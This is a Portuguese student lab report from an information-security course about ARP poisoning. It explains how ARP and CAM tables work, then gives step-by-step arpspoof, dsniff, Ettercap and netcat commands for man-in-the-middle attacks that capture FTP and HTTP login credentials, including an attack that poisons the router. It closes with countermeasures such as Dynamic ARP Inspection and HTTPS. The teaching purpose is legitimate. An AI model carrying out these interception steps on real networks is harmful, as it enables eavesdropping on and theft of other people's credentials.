Relatório Envenenamento ao ARP (ARP Poisoning)

Objetivo

*O objetivo deste ataque de **Envenenamento ao ARP (ARP Poisoning)** é manipular o mapeamento entre endereços IP e MAC em uma rede local para interceptar e redirecionar o tráfego de comunicação entre dispositivos. Ao explorar a vulnerabilidade do protocolo ARP, o atacante pode fazer com que os dados trafeguem por ele, permitindo a captura de informações sensíveis, como credenciais de login e dados de navegação. Este teste de penetração tem como finalidade identificar vulnerabilidades em redes sem medidas de proteção adequadas e sugerir contramedidas para mitigar os riscos dessa ameaça. Além disso, nos cenários apresentados foram utilizados serviços como HTTP, FTP, TCP e podemos fazer com SMTP, cada serviço foi especificado no relatório.*

Autor: Enzo Arrue Juan Fuso
Faculdade: Fatec São Caetano do Sul
Curso: Segurança da Informação

Introdução

*O **Envenenamento ao ARP (ARP Poisoning)** é uma técnica de ataque amplamente conhecida no campo da segurança da informação, que explora a falta de autenticação no protocolo ARP (Address Resolution Protocol), utilizado para mapear endereços IP a endereços MAC em redes locais (LANs). Esse protocolo, essencial para a comunicação entre dispositivos dentro de uma rede, foi desenvolvido sem considerar a segurança contra falsificações, o que permite que atacantes enviem respostas ARP fraudulentas. Como resultado, os dispositivos da rede atualizam suas tabelas ARP com informações incorretas, direcionando o tráfego para o atacante, que pode interceptar, modificar ou redirecionar os pacotes.*

Este relatório explora em detalhes o funcionamento do ARP, demonstrando como ele pode ser envenenado em um cenário prático. Serão discutidos os impactos desse tipo de ataque, as vulnerabilidades envolvidas e, por fim, algumas recomendações de segurança para mitigar os riscos associados ao envenenamento de ARP.

Ferramentas/Softwares Utilizados

VirtualBox (Servidor FTP, Cliente), Kali Linux, Navegador Web, Wireshark, Ettercap, Arpspoof, Dsniff

Explicação

Tabela ARP, CAM e CAMADAS (IPv4)

Tabela ARP: Pertence à camada 3 **(Rede)**, pelo qual analisa parâmetros como IP e MAC. Cada dispositivo dentro da LAN possui sua própria **Tabela ARP**. Encapsulamento: Pacote IP

Tabela CAM: Pertence à camada 2 **(Enlace)**, opera com base no endereço MAC e a porta associada ao switch. Cada switch possui uma **Tabela CAM**. Encapsulamento: Quadros de Ethernet - frames.

Funcionamento Completo (IPv4):

Início da Comunicação: *O Computador 1 deseja enviar uma mensagem ao Computador 2, mas não sabe o endereço MAC do Computador 2. Ele só possui seu próprio endereço MAC e IP.*

Consulta ARP*:O Computador 1 verifica sua tabela ARP e, ao não encontrar a correspondência para o IP do Computador 2, envia uma mensagem de broadcast ARP para a rede. Esse broadcast pergunta: "Quem possui o IP X? Diga seu endereço MAC". Essa mensagem é recebida por todos os dispositivos na mesma LAN.*

Resposta do Computador 2: *O Computador 2, que possui o IP correspondente, responde com seu endereço MAC para o Computador 1. Essa resposta é enviada diretamente ao Computador 1 (unicast).*

Atualização da Tabela ARP: *Após receber a resposta, o Computador 1 atualiza sua tabela ARP, aprendendo o endereço MAC do Computador 2. O Computador 2 também atualiza sua tabela ARP com o endereço MAC e IP do Computador 1.*

Aprendizado da Tabela CAM pelo Switch*: Ao receber a mensagem de broadcast ARP, o switch observa o endereço MAC de origem do Computador 1 e a porta pela qual a mensagem chegou, aprendendo essa informação e adicionando-a à sua **tabela CAM**. Quando o Computador 2 responde, o switch também aprende o endereço MAC e a porta associada a ele.*

Envio da Mensagem: *Agora que o Computador 1 conhece o endereço MAC do Computador 2, ele pode enviar a mensagem desejada. Ele encapsula essa mensagem em um quadro Ethernet **(Camada 2)** com o endereço MAC de origem*

(do Computador 1) *e o endereço MAC de destino (do Computador 2). O quadro é enviado ao switch.*

Encaminhamento pelo Switch: *O switch verifica sua tabela CAM e identifica a porta associada ao endereço MAC do Computador 2. Em seguida, ele encaminha o quadro pela porta correta para o Computador 2.*

Recepção da Mensagem pelo Computador 2: *O Computador 2 recebe o quadro, verifica se o endereço MAC de destino corresponde ao seu, e, em caso afirmativo, remove o encapsulamento do quadro. O pacote IP é então processado na camada 3, e, finalmente, a mensagem é entregue à camada 4 para ser processada pela aplicação correspondente*

Metodologia

OBS: *O uso do Ettercap é mais recomendado quando um dos alvos é o roteador, o ataque utilizando envenenamento do roteador é mostrado no* ***"ataque 3"****.*

Ataque 1: Serviço FTP (Dsniff)-

Na máquina Servidor Ubuntu *(Criador um servidor FTP):*

1- sudo apt update
2- sudo apt install vsftpd
3- sudo systemctl status vsftpd
4- sudo systemctl start vsftpd
5- sudo nano /etc/vsftpd.conf
listen=NO
local_enable=YES
write_enable=YES # apagar o hashtag
6- sudo systemctl restart vsftpd
7- sudo systemctl enable vsftpd
8- sudo adduser {Nome_de_usuario}, depois vai pedir uma senha para esse usuário
9- sudo -ls -ld /home/{Nome_do_usario}
10- sudo chmod a-w /home/{Nome_do_Usuario}

Na máquina atacante Kali Linux/Ubuntu:

Envenenamento do Cliente e Servidor por "ARPSPOOF E DSNIFF"

1- sudo arpspoof -i ***{interface}*** *-t* ***{IP_Servidor}*** *-r* ***{IP_Cliente}*** *(descobrir interface do lugar onde está executando o ataque => ip addr)*
2- Em outro terminal: sudo arpspoof -i ***{interface}*** *-t* ***{IP_Cliente}*** *-r* ***{IP_Servidor}***

3- Em outro terminal: sudo dsniff -i {Interface} → Vai começar escutar a comunicação entre cliente e servidor
4- Em outro terminal:
sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward (ativa o redirecionamento)

Na máquina Cliente:
1- ftp {IP_do_Servidor}
2- Inserir o nome e senha
3- Ctrl + D (Desconectar do servidor)

Ataque 2: Serviço FTP (Ettercap)-
***Na máquina Servidor Ubuntu** (Criador um servidor FTP):*
1- sudo apt update
2- sudo apt install vsftpd
3- sudo systemctl status vsftpd
4- sudo systemctl start vsftpd
5- sudo nano /etc/vsftpd.conf
listen=NO
local_enable=YES
write_enable=YES # apagar o hashtag
6- sudo systemctl restart vsftpd
7- sudo systemctl enable vsftpd
8- sudo adduser {Nome_de_usuario}, depois vai pedir uma senha para esse usuário
9- sudo -ls -ld /home/{Nome_do_usario}
10- sudo chmod a-w /home/{Nome_do_Usuario}

Na máquina atacante Kali Linux:
Envenenamento do Cliente e Servidor por "Ettercap"
1- sudo apt install ettercap -G
2 - sudo ettercap -G
3- Entra no apertando no check e pausa o Ettercap no canta esquerdo superior
4- Clica nos três pontos > Hosts > Scan for hosts > Host list > Seleciona o alvo e adiciona ao Target 1 > Seleciona o segundo alvo e adiciona no Target 2
5- Clica no globo no canto direito superior > MITM > ARP Poisoning > Aceita apertando em check > Start (Canto esquerdo superior)
6- Em outro terminal:
sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward (ativa o redirecionamento)

Na máquina Cliente:
1- ftp {IP_do_Servidor}
2- Inserir o nome e senha
3- Ctrl + D (Desconectar do servidor)

Ataque 3: Serviço HTTP (Ettercap)-

Na máquina atacante Kali Linux:

Envenenamento do Cliente e Servidor por "Ettercap"

1- sudo apt install ettercap -G

2 - sudo ettercap -G

3- Entra no apertando no check e pausa o Ettercap no canta esquerdo superior

4- Clica nos três pontos > Hosts > Scan for hosts > Host list > Seleciona o alvo (ROTEADOR → Normalmente com final de IP .1) e adiciona ao Target 1 > Seleciona o segundo alvo e adiciona no Target 2

5- Clica no globo no canto direito superior > MITM > ARP Poisoning > Aceita apertando em check > Start (Canto esquerdo superior)

6- Em outro terminal:

sudo su

echo 1 > /proc/sys/net/ipv4/ip_forward (ativa o redirecionamento)

Na máquina Cliente (Ou Ubuntu ou navegador web, ataque em um ambiente real):

1- Digite algum endereço de URL que use HTTP ou utilize o seguinte: ***http://testphp.vulnweb.com/login.php***

2- Digite o usuário e senha (O Ettercap já deve estar ativado para capturar os dados sensíveis)

Ataque 4: Serviço TCP/UDP → Este ataque pode usar biblioteca socket do Python, Netcat ou Telnet: *(Este se trata mais de um MITM do que um envenenamento, mas é possível impedir o redirecionamento da mensagem usando o ARP Poisoning e observar em tempo real no Wireshark)*

Em NetCat:

Na máquina atacante (Ubuntu):

1- sudo arpspoof -i ***{interface}*** *-t* ***{IP_Servidor}*** *-r* ***{IP_Cliente}*** *(descobrir interface do lugar onde está executando o ataque => ip addr)*

2- Em outro terminal: sudo arpspoof -i ***{interface}*** *-t* ***{IP_Cliente}*** *-r* ***{IP_Servidor}***

3- Em outro terminal: Abra o Wireshark e inicie a captura na interface do tráfego

4- Em um novo terminal:

sudo su

echo 1 > /proc/sys/net/ipv4/ip_forward (ativa o redirecionamento, se trocar o ***1 por 0,*** *no wireshark verá que o tráfego de pacotes não está sendo recebido pelo destinatário, pois o atacante está interceptando e impedindo o redirecionamento da mensagem)*

5- No Wireshark filtrar por "ip.addr == IP_DO_SERVIDOR" && ip.addr == "IP_DO_CLIENTE"

Na máquina Servidor:
1- nc -l -p 12345 (está esperando receber mensagens via Netcat na porta 12345 [podemos usar outra porta, foi um exemplo.)

Na máquina Cliente:
1- nc {IP_do_Servidor} 12345
2- Envie várias mensagens para o Servidor, o servidor também pode respondê-las, após enviadas volte para o Wireshark da máquina atacante.

Em Python:
*Na **máquina cliente e servidor** realizar os mesmo passos do **"Relatório MITM":***
file:///C:/Users/Arrue/Desktop/BLOG%20-%20REDES/RELAT%C3%93RIO%20MITM.pdf

Recomendações

***Uso de ARP estático:** Configurar entradas ARP estáticas nos dispositivos críticos da rede pode evitar que as tabelas ARP sejam envenenadas por pacotes maliciosos.*

***Protocolos de segurança:** Implementar soluções de segurança como Dynamic ARP Inspection (DAI) em switches modernos, que verificam a integridade das mensagens ARP, impedindo o envenenamento.*

***Substituir HTTP por HTTPS:** Em caso de interceptação de tráfego, o uso de HTTPS garante que as informações transmitidas sejam criptografadas, mesmo que os pacotes sejam capturados.*

Links Complementares

Ettercap - https://www.ettercap-project.org/

ARP Protocol Specification - https://tools.ietf.org/html/rfc826

Dynamic ARP Inspection (DAI) - https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3750x_3560

x/software/release/12-2_55_se/configuration/guide/3750xscg/swdynarp.html

OWASP - https://owasp.org/